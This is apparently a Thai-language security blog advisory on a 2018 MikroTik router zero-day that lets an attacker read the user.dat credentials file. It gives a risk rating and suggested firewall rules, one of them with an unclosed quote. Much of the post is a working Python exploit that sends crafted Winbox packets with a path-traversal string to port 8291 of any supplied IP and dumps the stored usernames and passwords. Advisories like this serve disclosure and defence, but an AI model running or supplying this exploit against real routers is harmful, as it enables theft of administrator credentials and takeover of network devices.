Mikrotik

2018 – 0Day Exploit MikroTik

exploit Mikrotik

2018 – 0Day Exploit MikroTik

พูดถึง MikroTik หลายท่านคงเคยผ่านตา  หลายคนคงได้ใช้งา่นทั้งใน office ในบ้าน  แม้แต่ในไซต์งานลูกค้า
เนื่องจากเป็นอุปกรณ์ UTM ที่ใช้งานได้หลากหลาย มี Interface ให้ใช้ง่านได้ง่ายมากมาย  และตลอดช่วงอายุของ MikroTik ตั้งแต่ผลิตมา ก็มีช่องโหว่เกิดขึ้นเพียง 4 ช่อง  ซึ่งทาง MikroTik ได้ทำการ patch ไปแล้วเป็นที่เรียบร้อยใน version ล่าสุด

อย่างไรก็ตาม ทาง Hacker ได้เผย Zero Day (0Day)  Vulnerability ซึ่งเป็นช่องโหว่ร้ายแรงออกมา  ทำให้ Attacker สามารถโจมตีเข้าไปยัง MikroTik เป้าหมาย  และอ่านค่าจาก File user.dat ที่ทำหน้าที่เก็บชื่อผู้ใช้และรหัสผ่านออกมาได้  เป็นผลให้เกิดความเสี่ยงระดับร้ายแรงต่อองกรณ์ต่างๆ ที่ใช้ MikroTik เป็น Router หลัก  และคงต้องใช้เวลาอีกสักระยะกว่า MikroTik จะสามารถออก Patch เพื่อแก้ใขช่องโหว่ดังกล่าวได้

รูปแบบการโจมตีสามารถดูได้จากตัวอย่าง LAB ต่อไปนี้

2018 – 0Day Exploit MikroTik

https://www.youtube.com/watch?v=jfRiQKkED34&feature=youtu.be

จากๅ VDO จะเห็นได้ว่า  Attacker ใช้เวลาเพียงไม่กี่วินาทีเพื่อทำการโจมตีเอาข้อมูลผู้ใช้ออกมาจาก Router MikroTik ที่เป็นเป้าหมาย  เป็นผลให้ล่วงรู้ข้อมูลข้างในองกรณ์ทั้งหมด และยังปรับเปลี่ยนค่าต่างๆ ได้อีกด้วย

 

 

 

 

 

 

 

 

 

ระดับความเสี่ยง : Critical (เสี่ยงที่สุด)
ผลกระทบ : High (กระทบมาก)
การเข้าถึง : High (ง่ายมาก)
Patch / Hotfix : ยังไม่มี
Last updated : 25/07/2018

Mitigate Risk : กำหนดค่า
Firewall เพื่อป้องกันการเข้าถึง ดังนี้

MikroTik-Console#>/ip firewall filter

MikroTik-Console/ip firewall filter#>add action=reject chain=input comment=”SECURITY” content=user.dat reject-with=icmp-network-unreachable

MikroTik-Console/ip firewall filter#>add action=drop chain=input content=”user.dat

 

 


Exploit Example :

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump

a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00]

b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00]

if __name__ == “__main__”:
try:
ip = sys.argv[1]
except:
print(“Usage: python PoC.py [IP_ADDRESS]”)

#Initialize Socket
s = socket.socket()
s.settimeout(3)
s.connect((ip, 8291))

#Convert to bytearray for manipulation
a = bytearray(a)
b = bytearray(b)

#Send hello and recieve the sesison id
s.send(a)
d = bytearray(s.recv(1024))

#Replace the session id in template
b[19] = d[38]

#Send the edited response
s.send(b)
d = bytearray(s.recv(1024))

#Get results
print(ip)
dump(d[55:])


Credit : Isara  Ruk-isara
MVP Windows Security
C|HFI ,Security+

JIT Innotech